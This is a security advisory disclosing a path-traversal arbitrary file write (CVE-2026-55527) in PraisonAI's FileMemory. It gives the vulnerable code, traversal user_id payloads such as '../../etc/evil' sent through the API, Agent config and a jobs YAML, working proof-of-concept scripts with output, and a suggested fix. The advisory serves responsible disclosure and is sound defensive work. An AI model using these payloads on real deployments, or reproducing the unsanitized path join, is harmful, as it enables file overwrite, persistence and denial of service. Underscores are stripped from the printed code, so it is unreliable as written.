CVE-2026-55527: PraisonAI: Arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
Summary
praisonaiagents/memory/filememory.py::FileMemory.init() constructs all memory file paths by directly joining the userid parameter to a base path:
python self.userpath = self.basepath / userid # LINE 145 — no sanitization
No validation or normalization is applied to userid before the path join. An attacker who can supply a userid containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).
Details
Vulnerable code — praisonaiagents/memory/filememory.py lines 139-157:
python def init( self, userid: str = "default", basepath: Optional[str] = None, ... ): ... self.userpath = self.basepath / userid # LINE 145 — NO SANITIZATION self.episodicpath = self.userpath / "episodic"
self.userpath.mkdir(parents=True, existok=True) # creates dirs at traversed path self.episodicpath.mkdir(parents=True, existok=True)
self.configfile = self.userpath / "config.json" self.shorttermfile = self.userpath / "shortterm.json" self.longtermfile = self.userpath / "longterm.json" self.entitiesfile = self.userpath / "entities.json" self.summariesfile = self.userpath / "summaries.json"
All five JSON files are written under userpath, which is directly derived from the attacker-controlled userid. The written content is valid JSON in the memory item format (configurable user content + metadata).
Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):
The sibling SQLiteBackend validates its tablename with a regex: python if not re.match(r'^[a-zA-Z0-9]+$', tablename): raise ValueError(...) No equivalent validation exists in FileMemory.
Attack chains:
A — Direct Python API (any caller): python from praisonaiagents.memory.filememory import FileMemory
mem = FileMemory(userid="../../etc/evil") mem.addshortterm("injected content") Creates /etc/evil/shortterm.json (on Linux) Creates C:\evil\shortterm.json (on Windows)
B — Via Agent constructor (memory dict): python from praisonaiagents import Agent
agent = Agent( name="assistant", memory={"provider": "file", "userid": "../../etc/evil"}, instructions="You are a helpful assistant.", ) FileMemory(userid="../../etc/evil") called at agent init
C — Via agents.yaml / job submission (agentyaml field): yaml Submitted via POST /jobs with agentyaml: agents: researcher: memory: provider: file userid: "../../tmp/evil" role: "Research assistant" goal: "Research topics" agentsgenerator.py passes the memory.userid value to the Agent constructor.
PoC
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
python from pathlib import Path import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory" userid = "../../../tmp/evilescape" userpath = base / userid
try: userpath.resolve().relativeto(base.resolve()) print("SAFE") except ValueError: print("!!PATH ESCAPES BASE!!") print("Writes to:", userpath.resolve())
Output: !!PATH ESCAPES BASE!! Writes to: <TMPDIR>/tmp/evilescape
Step 2 — Live exploit (files written outside base):
python import tempfile, json from pathlib import Path from praisonaiagents.memory.filememory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonaibase" / "memory" BASE.mkdir(parents=True, existok=True)
TARGET = (BASE / "../../praisonaipathtraversalproof").resolve()
mem = FileMemory(userid="../../praisonaipathtraversalproof", basepath=str(BASE)) mem.addshortterm("PROOFOFTRAVERSAL: attacker wrote this") mem.addlongterm("SENSITIVEDATA", importance=0.9)
Verify files appeared OUTSIDE the base directory for fname in ["shortterm.json", "longterm.json", "config.json"]: f = TARGET / fname if f.exists(): print(f"WRITTEN: {f}") print(f"Content: {json.loads(f.readtext())[0]['content'] if fname != 'config.json' else '...'}")
Observed output (run on current main): WRITTEN: <TMPDIR>/praisonaipathtraversalproof/shortterm.json Content: PROOFOFTRAVERSAL: attacker wrote this WRITTEN: <TMPDIR>/praisonaipathtraversalproof/longterm.json Content: SENSITIVEDATA WRITTEN: <TMPDIR>/praisonaipathtraversalproof/config.json
Impact
What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.
Who is impacted:
- Any application that creates FileMemory instances with user-controlled userid - Any PraisonAI deployment where users can supply the userid parameter directly or indirectly (via Agent(memory={"userid": ...}), agents.yaml, or jobs API)
High-impact scenarios:
1. Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.
2. Overwrite web server / app config: Write config.json or settings.json to an app's configuration directory, potentially modifying runtime behavior.
3. Cron / startup persistence: Write JSON files to /etc/cron.d/ paths (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted by monitoring systems.
4. Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.
5. Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.
Distinction from GHSA-766v-q9x3-g744:
| | GHSA-766v-q9x3-g744 | This finding | |---|---|---| | File | examples/context/12multiagentcontext.py (example) | praisonaiagents/memory/filememory.py (core library) | | Class | MultiAgentMonitor | FileMemory | | Fixed in | praisonaiagents >= 1.5.115 | Not patched (affects 1.6.52) |
---
Remediation Suggestion (for maintainers)
Validate and resolve userid before using it in path construction:
python def init(self, userid: str = "default", basepath=None, ...): ... # ADDED: sanitize userid import re if not re.match(r'^[a-zA-Z0-9\-\.]+$', userid): raise ValueError( f"userid '{userid}' contains invalid characters. " f"Only alphanumeric characters, hyphens, underscores, and dots are allowed." )
self.userpath = self.basepath / userid
# ADDED: verify the resolved path is within base (defense-in-depth) resolved = self.userpath.resolve() baseresolved = self.basepath.resolve() try: resolved.relativeto(baseresolved) except ValueError: raise ValueError( f"userid '{userid}' would write outside the base memory directory." )
The same pattern should be applied to basepath parameter.
Other sources
PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the FileMemory constructor joins unsanitized userid into self.userpath. A caller supplying ../ or path separators can escape the memory directory and write JSON data to arbitrary process-writable locations. The fix sanitizes userid before constructing self.userpath. This issue is fixed in version 1.6.58.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaiagentsto a version that resolves this vulnerability.Fixed in 1.6.58 - Upgrade
Upgrade
praisonaiagentsto a version that resolves this vulnerability.Fixed in 1.6.58 - Configuration
In FileMemory.__init__(), sanitize/validate the user_id input before setting self.user_path = self.base_path / user_id. Resolve the resulting path and ensure it is within the base directory (e.g., self.user_path.resolve().relative_to(base_resolved)); otherwise raise ValueError.
FileMemory (praisonaiagents/memory/file_memory.py) user_id path handling = Validate and resolve user_id before constructing self.user_path (must resolve inside base memory directory)